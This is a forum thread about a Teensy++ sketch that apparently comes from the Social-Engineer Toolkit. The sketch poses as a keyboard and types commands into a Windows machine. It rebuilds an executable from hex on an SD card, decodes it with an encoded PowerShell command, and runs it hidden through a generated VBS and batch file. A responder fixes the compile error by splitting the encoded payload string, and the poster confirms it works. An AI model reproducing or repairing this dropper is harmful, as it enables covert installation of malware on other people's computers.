java error in compiling with SDFAT+Teensy

Hello, i have this code that generated by SET, and try to use it with:
Board: Teensy++ 2.0 (SD adaptor attached)
USB Type: keyboard + mouse + joystick

/*
Teensy Hex to File SDCard Created by Josh Kelley (winfang) and Dave Kennedy (ReL1K)
Reading from a SD card.  Based on code from: http://arduino.cc/en/Tutorial/DumpFile
*/



#include <avr/pgmspace.h>
#include <SD.h>

// Teensy ++ LED is 6.  Teensy the LED is 11.
int ledPin = 6;

void setup()
{
  BlinkFast(2);
  delay(5000);
  CommandAtRunBar("cmd /c echo 0 > %TEMP%\\lFoYukowquZls.txt");
  delay(750);
  CommandAtRunBar("notepad %TEMP%\\lFoYukowquZls.txt");
  delay(1000);
  // Delete the 0
  PRES(KEY_DELETE);
  // This is the SS pin on the Teensy.  Pin 20 on the Teensy ++.  Pin 0 on the Teensy.
  const int chipSelect = 20;

  // make sure that the default chip select pin is set to
  // output, even if you don't use it:
  pinMode(10, OUTPUT);

  // see if the card is present and can be initialized:
  if (!SD.begin(chipSelect)) {
    Keyboard.println("Card failed, or not present");
    // don't do anything more:
    return;
  }

  // open the file. note that only one file can be open at a time,
  // so you have to close this one before opening another.
  // Larger the file, more likely it wouldn't fit in a normal int var.
  // This is the workaround for it.
  long int filePos;
  long int fileSize;
  File dataFile = SD.open("converts.txt");
  if (dataFile) {
    fileSize = dataFile.size();
    for (filePos = 0; filePos <= fileSize; filePos++) {
      Keyboard.print(dataFile.read(),BYTE);
      delay(10);
    }
    dataFile.close();
  }
  else {
    Keyboard.println("error opening converts.txt");
  }
  // ADJUST THIS DELAY IF HEX IS COMING OUT TO FAST!
  delay(5000);
  CtrlS();
  delay(2000);
  AltF4();
  delay(5000);
  // Cannot pass entire encoded command because of the start run length
  // run through cmd
  CommandAtRunBar("cmd");
  delay(1000);
  Keyboard.println("powershell -EncodedCommand JABzAD0AZwBjACAAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGwARgBvAFkAdQBrAG8AdwBxAHUAWgBsAHMALgB0AHgAdAAiADsAJABzAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBKAG8AaQBuACgAJwAnACwAJABzACkAOwAkAHMAPQAkAHMALgBSAGUAcABsAGEAYwBlACgAJwBgAHIAJwAsACcAJwApADsAIAAkAHMAPQAkAHMALgBSAGUAcABsAGEAYwBlACgAJwBgAG4AJwAsACcAJwApADsAJABiAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJAAoACQAcwAuAEwAZQBuAGcAdABoAC8AMgApADsAMAAuAC4AJAAoACQAYgAuAEwAZQBuAGcAdABoAC0AMQApAHwAJQB7ACQAYgBbACQAXwBdAD0AWwBDAG8AbgB2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkACgAJABfACoAMgApACwAMgApACwAMQA2ACkAfQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGwARgBvAFkAdQBrAG8AdwBxAHUAWgBsAHMALgB0AHgAdAAuAGUAeABlACIALAAkAGIAKQA=");
  // Tweak this delay.  Larger files take longer to decode through powershell.
  delay(10000);
  Keyboard.println("echo Set WshShell = CreateObject(\"WScript.Shell\") > %TEMP%\\W8pq0w3uRKQq8km.vbs");
  Keyboard.println("echo WshShell.Run chr(34) ^& \"%TEMP%\\XUkEdeNfc0.bat\" ^& Chr(34), 0 >> %TEMP%\\W8pq0w3uRKQq8km.vbs");
  Keyboard.println("echo Set WshShell = Nothing >> %TEMP%\\W8pq0w3uRKQq8km.vbs");
  Keyboard.println("echo %TEMP%\\lFoYukowquZls.txt.exe > %TEMP%\\XUkEdeNfc0.bat");
  Keyboard.println("wscript %TEMP%\\W8pq0w3uRKQq8km.vbs");
  delay(1000);
  Keyboard.println("exit");
}
void loop () {}
void BlinkFast(int BlinkRate){
  int BlinkCounter=0;
  for(BlinkCounter=0; BlinkCounter!=BlinkRate; BlinkCounter++){
    digitalWrite(ledPin, HIGH);
    delay(80);
    digitalWrite(ledPin, LOW);
    delay(80);
  }
}
void AltF4(){
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_F4);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
void CtrlS(){
Keyboard.set_modifier(MODIFIERKEY_CTRL);
Keyboard.set_key1(KEY_S);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
}
// Taken from IronGeek
void CommandAtRunBar(char *SomeCommand){
  Keyboard.set_modifier(128);
  Keyboard.set_key1(KEY_R);
  Keyboard.send_now();
  Keyboard.set_modifier(0);
  Keyboard.set_key1(0);
  Keyboard.send_now();
  delay(1500);
  Keyboard.print(SomeCommand);
  Keyboard.set_key1(KEY_ENTER);
  Keyboard.send_now();
  Keyboard.set_key1(0);
  Keyboard.send_now();
}
void PRES(int KeyCode){
Keyboard.set_key1(KeyCode);
Keyboard.send_now();
Keyboard.set_key1(0);
Keyboard.send_now();
}

when i run verify or compile i got java errors and the compiling hung

at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)
at java.util.regex.Pattern$GroupHead.match(Pattern.java:4556)
at java.util.regex.Pattern$Loop.match(Pattern.java:4683)
at java.util.regex.Pattern$GroupTail.match(Pattern.java:4615)
at java.util.regex.Pattern$BranchConn.match(Pattern.java:4466)
at java.util.regex.Pattern$CharProperty.match(Pattern.java:3694)
at java.util.regex.Pattern$Branch.match(Pattern.java:4502)

any idea ?

Thanks

I suspect either the double-backslashes or that monstrously long line...

Keyboard.println("powershell -EncodedCommand JABzAD0AZ...

...is causing the Arduino preprocessor to go haywire. Try removing the monstrously long line.

yes it was that line, i remove it and it compile fine, but this line important for the code to run :disappointed_relieved:

Split the string...

  Keyboard.println("powershell -EncodedCommand JABzAD0AZwBjACAAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQ"
  "BsAFwAVABlAG0AcABcAGwARgBvAFkAdQBrAG8AdwBxAHUAWgBsAHMALgB0AHgAdAAiADsAJABzAD0AWwBzAHQAcgBpAG4AZwBdADoAOgBKAG8A"
  "aQBuACgAJwAnACwAJABzACkAOwAkAHMAPQAkAHMALgBSAGUAcABsAGEAYwBlACgAJwBgAHIAJwAsACcAJwApADsAIAAkAHMAPQAkAHMALgBSAG"
  "UAcABsAGEAYwBlACgAJwBgAG4AJwAsACcAJwApADsAJABiAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAGIAeQB0AGUAWwBdACAAJAAoACQAcwAu"
  "AEwAZQBuAGcAdABoAC8AMgApADsAMAAuAC4AJAAoACQAYgAuAEwAZQBuAGcAdABoAC0AMQApAHwAJQB7ACQAYgBbACQAXwBdAD0AWwBDAG8Abg"
  "B2AGUAcgB0AF0AOgA6AFQAbwBCAHkAdABlACgAJABzAC4AUwB1AGIAcwB0AHIAaQBuAGcAKAAkACgAJABfACoAMgApACwAMgApACwAMQA2ACkA"
  "fQA7AFsASQBPAC4ARgBpAGwAZQBdADoAOgBXAHIAaQB0AGUAQQBsAGwAQgB5AHQAZQBzACgAIgAkAEgATwBNAEUAXABBAHAAcABEAGEAdABhAF"
  "wATABvAGMAYQBsAFwAVABlAG0AcABcAGwARgBvAFkAdQBrAG8AdwBxAHUAWgBsAHMALgB0AHgAdAAuAGUAeABlACIALAAkAGIAKQA=");

thanks that work fine :slight_smile: